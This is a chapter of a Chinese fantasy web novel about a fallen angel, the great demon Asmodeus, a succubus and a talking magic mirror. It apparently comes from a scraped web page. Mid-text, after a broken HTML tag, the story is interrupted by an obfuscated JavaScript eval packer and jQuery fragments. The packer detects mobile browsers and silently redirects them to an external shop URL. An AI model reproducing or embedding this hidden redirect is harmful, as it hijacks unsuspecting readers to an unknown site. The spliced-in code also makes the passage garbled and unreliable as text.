瓦沙克的目光落在魅魔手中的盘子上。
里面是一些圆溜溜的果实,深褐色的外皮凹凸不平。
他拿起一个,剥开外皮,露出其下黄澄澄的果肉,闻起来有些腥,还有些苦。
一口咬下去,果肉汁水还算饱满,只是又苦又涩,还带着些微的毒素,顺着舌头滑入食道,带起一阵麻痹的刺痛。
“这是大人给我们的种子,教我们……”魅魔的目光在瓦沙克皱起眉间扫过,“您不习惯这个味道吗?抱歉,我以为……我活了这么多年,还没有吃过这么好吃的东西。”
他说着,垂下眼,颇为可怜道:“是我不好,只是您吃不惯的话就给我可以吗?如果丢掉就太可惜了……”
他重新抬起眼睛,紫红色的眼睛仿佛含着泪,可怜又魅惑。
瓦沙克的反应却和他的预想不太:“你知道这种果子怎么来的吗?”
魅魔一愣。
“它们最初的种子,是我和我的兄弟从培养皿里取出种下去的。”瓦沙克倚着墙道,“你说我们吃不惯,你们其实也不喜欢,嫌弃它味道太淡,不如血肉鲜美……哪怕它是选育出来的最适宜第五狱环境的作物之一。”
“你好像对我有很大的意见,因为我是魔族?刚才我见您和大人……我还以为您和其他堕天使不一样……”魅魔轻轻咬住下唇,泫然欲泣。
瓦沙克冷嘲:“其他堕天使?你见过我的其他兄弟?”
“我只是听说……”
“你们魅魔的手段,我很多年前就领教过了。”
魅魔话未说完,便被瓦沙克打断:“就连刚才那番话,也和当年一模一样。”
“那也是一只魅魔,最后你猜怎么样?”
瓦沙克的位置更高些,他向下走,魅魔想要后退,却踩空了,踉跄间,盘子倾翻,果实顺着楼梯滚了下去。
“我兄弟送他的弯刀,刺进了我兄弟的腹腔。”
瓦沙克已经到了他的面前,低头在他耳边说道,没有刻意压低的声音,听起来格外冰冷。
随后,堕天使回身,与不知何时出现在楼梯口的大恶魔对上了视线。
“您听过这个故事吗?‘阿斯蒙蒂斯’先生。”
瓦沙克眯着眼,却藏不住那双青蓝眼眸中的神光。
阿斯莫杜却并不回答,缓步走了下来,递给他一张类似邀请函的卡片,卡片中还夹杂着一张纸条。
瓦沙克疑惑地接过,先看纸条。
那上面只有一个名字,“菲尼克斯”。
瓦沙克脸色大变。
他低头沉默了一会儿,又重新抬起头来。
大恶魔的个子很高,如今还站在比他高的台阶上,瓦沙克伸出手抓住了他的衣襟。
阿斯莫杜有些疑惑,但还是顺着他的动作弯下腰来。
瓦沙克的眼里闪动着莫测的光彩,他们离得那么近,阿斯莫杜甚至能从那双青蓝色的眼睛里看见自己。
下一刻,阿斯莫杜震惊地瞪大了眼睛。
那是一个一触即离的吻。
“我与菲尼克斯有约定,他之前答应我收好分身就回去,他如果再下来,一定会给我留信。”
他说完,便什么都不说了,只是安安静静地看着阿斯莫杜——他知道,他什么都不用说了。
“我……”阿斯莫杜喉结微微滚动,“我会去狄斯。”
瓦沙克松开他:“那我们狄斯城外见。”
他说着,便匆匆地往楼下走,正经过魅魔的身边,瓦沙克脚步一顿,而后径直下了楼。
阿斯莫杜一直看着瓦沙克的背影,直到他消失在楼梯上,才转过目光看向一直沉默的魅魔。
他抬起手,掉落的果实和摔碎的果盘都飞了起来,果盘恢复如新,果实们也都垒在盘中,落回到魅魔手中,仿佛什么都没发生——除了少了一个外。
“我要离开一段时间。”
阿斯莫杜走到魅魔身前,伸出手,拇指擦过魅魔的下唇,抹掉了那里被咬出的血迹。
魅魔慌张地收回牙齿,抬起的眼里还有没完全收敛的红光,却让他的面容更加妖冶:“大人……”
“不必害怕,他针对的是我。”
但害怕往往并非是因为外界的恶意,而是自身缺乏抵御的力量。
“这段时间不要随意外出,除了我的实验室,其他地方随你们使用,还有那些笔记……有不懂的就呼唤魔镜。”他顿了顿,“但不要听他那些胡说八道。”
“……发生什么了吗?”魅魔又连忙道,“如果不是我该知道的,我……”
“没关系,”阿斯莫杜道,“战争要来了。”
利特,镜塔。
看着离开的队伍,利特忐忑道:“这样真的没问题吗?不和……说一声?”
“胆小鬼,我上次让你送的‘礼物’都送了吗?”
“送、送了。”利特想起当时大恶魔的脸色,忍不住打了个冷战。
“那就没问题了。”魔镜道,“我还不知道他,他以前就喜欢这款,要不是有那群鸟翅膀,他当年早把地上地下按图鉴睡完了。”
“可是……”
“哎呀别可是可是的了,怎么比我个老人家还婆婆妈妈?你要真害怕……这样,我再免费给你出个主意,他那儿是不是还没有蛇魔,诶,刚好,狄斯不是送来一个?那张脸我看了,肯定是他的菜,送去送去,快送去。”
然而……
一道熟悉声音从房间的角落响起:“要送什么?”
利特僵硬地转头,他没有看向声音来的方向,而是他旁边的镜子,镜面上除了镜子凝固的五官之外,还倒映出大恶魔的身影。
“你们做了什么?”
镜子里,大恶魔的影子越来越大,越来越近,几乎把又可怜又弱小又无助的魔鬼笼罩了个彻底。
就在魔鬼眼珠子乱转的时候,大恶魔率先生出了手,一把抓住了一旁的魔镜,镜子里那张脸上,只剩下了一只眼睛和半个鼻子,这会儿一动不动,只能一只眼珠子乱转。
魔鬼立刻意识到——这个没义气的居然想要先跑!
阿斯莫杜伸出指尖,在镜面上一弹,在魔镜的惨叫声中,已经跑掉的眼睛、鼻子和嘴都被一股无形的力量“啪”地扯了回来,堆在一起。
“说吧。”
魔鬼一下子便趴地上了:“我我我我……我交代,我都交代!是他!”他指着冲他龇牙咧嘴的魔镜,“都是他说你……我才送的!”
魔镜冲他翻了个白眼。
阿斯莫杜对魔鬼的话不置可否,指尖点了点镜面:“你说。”
魔镜吊着嗓子:“是是是,都是我,谁坏得过我啊?不像某些大恶魔,成天忙着勾三搭四,不是被这个捅一刀,就是被那个捅一刀……”
魔鬼听到一半就觉得不对,简直不敢去看大恶魔的脸色。
阿斯莫杜手指微微用力,魔镜就“哎哟哎哟”惨叫起来。
“我怎么知道你……哎哟……我不是你蛔虫……哎哟……你好狠的心哎哟哎哟我说……我说还不行吗!”
阿斯莫杜松开手。
魔镜喘了几口气:“利特什么情况你又不是不知道,狄斯派人来让配合启动法阵,我们还能拒绝不成?你又不出面,我们要是敢说不,这小子的命保不住,我都得被那疯子给碎了!”
阿斯莫杜声音冷淡:“他给我传了信,他怎么知道我身份的?”
“我怎么知道!”魔镜看上去比他还生气,“你姘头,你问我啊?”
阿斯莫杜有一瞬的无言以对,半晌才道:“他不是我姘头。”
魔镜回以冷“呵”。
阿斯莫杜沉默地摩挲手中镜面。
他不相信这件事和魔镜没有关系,如果他真的那么无辜,刚才的第一反应就不会是逃跑——他并不害怕阿斯莫杜计较他那些胡言乱语和添乱的小动作,否则也不会那样明目张胆。
但现下也确实缺少实证。魔镜没有是非观,性格也和小孩子无异,利特城和魔法塔在接下来的局势中并没有多大的用处,却也需要有人看顾,魔镜是最好,也是唯一的选择。
他松开手,魔镜飞起来,左右转了两圈,像是在甩头。
“我要带上利特去狄斯,塔里……既然是你送我的‘礼物’,也就麻烦你照顾好他们了。”
“哟,又怜香惜玉上了,”魔镜阴阳怪气,“还是大恶魔好啊,抗睡又抗揍……”
阿斯莫杜压根不作理会,拎起利特,就把魔镜的鬼脸丢在身后。
狄斯城正在筹备一场庆典。
酒、血肉、奴隶,源源不断,街道上到处都是饮食、争斗、爱欲,魔族骨子里的残忍暴虐、永不满足盈满了这座古老的城池。
阿斯莫杜挥手,驱散了空气里弥散着血肉与香料混杂的味道,旁边的利特松了一口气,眼中的猩红也褪去了几分。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805657|210708||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
他其实不想来。
之前狄斯派了使者去他那儿让他配合什么阵法,在魔镜的教唆下,他没和阿斯蒙蒂斯说,然后……
他和魔镜就被大恶魔逮了个正着,作为从犯的他还被一路逮到了狄斯,想想真是后悔得舌头都快吞到胃里去了。
狄斯城分内城和外城。
外城十分简陋,更类似石头和泥巴堆的垃圾堆,没有城墙,外围只有一圈又一圈的尖木做防御工事,里面粗劣“房屋”挤挤挨挨,戴着镣铐的奴隶在污水横流的窄道里攀爬,背上或驮着货物,或驮着主人。
通往内城的主道勉强还算可以落脚,身份不够的魔族都被卫兵用木矛驱赶着进入了窄道。
街道周围的嬉闹争斗不知何时停下了,几乎占据了整个主道的车架停在了阿斯莫杜的前方。
车架是木质的,挂着纱帐,巨大的车轮周围环绕着不少奴隶,最前方是一群兽形魔族,捆着麻绳的石钩刺入了他们的肩胛骨,与他们的血肉长在了一起,麻绳的另一端连接着车辕。
车架的最前方站着两个人形魔族,穿着长袍,一齐躬身向阿斯莫杜行了一个法师礼。
阿斯莫杜的目光在他们身上停留了一瞬,下一刻便扣住了一只从身后伸来的手。
“哎呀呀呀……”
身材娇小的魅魔借着这股力道撞进了阿斯莫杜怀里,紧紧抓住他的前襟,扬起一个笑:“好久不见,阿斯……”紫色的舌头舔过双唇,“‘阿斯蒙蒂斯’大人。”
“是你……”阿斯莫杜后退一步,“狄斯。”
“真荣幸,您还记得我。”
魅魔牢牢粘在他的身上:“没想到还能见到您……您的变化可真大。”他一只手摸上阿斯莫杜的脸,“但您确实还是更适合这样一点,大人,这才是您该有的样子……‘深渊’偶尔也会干点好事儿,我真想亲吻您。”
“……你不应该离它这么近。”
“哎呀,您一来就说这些,不说、不说。”
他说完,蹦蹦跳跳地从阿斯莫杜身上下来,看向一旁:“这位就是利特城主大人吧?”
他说着,又拉住了利特的手:“我是狄斯,初次见面,真是荣幸啊。”
魔鬼诚惶诚恐:“这是我的荣幸才对。”
“客气、客气。按理,你与我的关系和兄弟也没什么两样。”狄斯笑嘻嘻道。
“啊……是、是吗?”
利特觉得自己背上全是冷汗。
在第五狱十座城池中,狄斯城位居第二,各城城主后人吃前人,来来去去这么多任,这位狄斯城主却是其中最古老的一个,他的年纪甚至可以与狄斯城相提并论,利特没少听镜子念叨说他是个疯子。
“亲爱的,别紧张,我们可有着相同的主人呢——这件事在我看来并不可耻,我也曾是一个奴隶。然后,你知道的,一下子,奇迹从天而降,这种感受旁人是很难理解的,但见到你……”狄斯一手拉着他,“你一定能懂我,谁说魔族就不能有诚挚的兄弟情谊呢?”
呸。利特笑容爽朗:“原来如此,您与我居然还有这样的渊源,难怪我听到您的名字就感到亲切,我们竟是这样亲密的、初次相见的兄弟!”
狄斯快活地大笑着,又放开他,把车架旁的两个魔族法师一手一个拉了过来:“这两位亦是我亲密无间的朋友,这是达伦,这是伊斯塔……达伦、伊斯塔,这位是我的主人——虽然他总不承认但我坚持——阿斯蒙蒂斯大人,我敢和你们打包票,莫说九重地狱,便是放到整个宇宙里,他的精神与智慧也是独一无二珍贵的,若你们有什么想要请教的,切莫客气,他从来都乐于教人聪慧。”
“阿斯蒙蒂斯,”其中叫作达伦的法师开口,“我从未听过这个名字……这恐怕不是真名。”
“哎呀,法师应该热爱谜题,不是吗,亲爱的达伦,你不妨猜猜他是谁,我保证——你那时一定会后悔此刻的挑剔和冷淡的。”
“我会试试看,您的语言从来都是有分量的。”
狄斯又笑嘻嘻地看向另一边沉默的法师:“亲爱的伊斯塔,难道你没什么想要说的吗?”
被称为伊斯塔的法师似乎有些许精灵的血统,有一双翡翠一般的眼睛和尖尖的耳朵,手里握着一根手杖。
他侧头向利特微笑,指尖勾动腰间的里拉琴,如同一位吟游诗人:“今日是个值得纪念的日子,亲爱的利特,我的琴想为今日唱一首长诗。”.